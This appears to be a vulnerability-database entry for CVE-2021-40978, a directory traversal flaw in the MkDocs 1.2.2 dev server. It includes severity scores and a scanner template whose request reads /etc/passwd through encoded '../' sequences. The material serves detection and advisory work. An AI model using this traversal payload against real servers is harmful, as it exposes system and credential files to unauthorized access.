7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
0.035 Low
EPSS
Percentile
91.4%
The MKdocs 1.2.2 built-in dev-server allows directory traversal using the port 8000, enabling remote exploitation to obtain sensitive information. Note the vendor has disputed the vulnerability (see references) because the dev server must be used in an unsafe way (namely public) to have this vulnerability exploited.
id: CVE-2021-40978
info:
name: MKdocs 1.2.2 - Directory Traversal
author: pikpikcu
severity: high
description: The MKdocs 1.2.2 built-in dev-server allows directory traversal using the port 8000, enabling remote exploitation to obtain sensitive information. Note the vendor has disputed the vulnerability (see references) because the dev server must be used in an unsafe way (namely public) to have this vulnerability exploited.
impact: |
An attacker can read or modify sensitive files on the server, potentially leading to unauthorized access, data leakage, or system compromise.
remediation: |
Upgrade MKdocs to version 1.2.3 or later to fix the directory traversal vulnerability.
reference:
- https://github.com/mkdocs/mkdocs/pull/2604
- https://github.com/nisdn/CVE-2021-40978
- https://nvd.nist.gov/vuln/detail/CVE-2021-40978
- https://github.com/mkdocs/mkdocs
- https://github.com/mkdocs/mkdocs/issues/2601
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-40978
cwe-id: CWE-22
epss-score: 0.03461
epss-percentile: 0.90554
cpe: cpe:2.3:a:mkdocs:mkdocs:1.2.2:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: mkdocs
product: mkdocs
tags: cve2021,cve,mkdocs,lfi
http:
- method: GET
path:
- '{{BaseURL}}/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:[x*]:0:0:"
- type: status
status:
- 200
# digest: 490a0046304402200d3f8bfca9ff864b5abf41834779fd591efcbfccda6cd6d38a6edd71e4e6d97c022042f51441b7d5514ffd65f8467500374e8e43b594839c46aa9ca5cd6aa754e558:922c64590222798bb761d5b6d8e72950
7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
0.035 Low
EPSS
Percentile
91.4%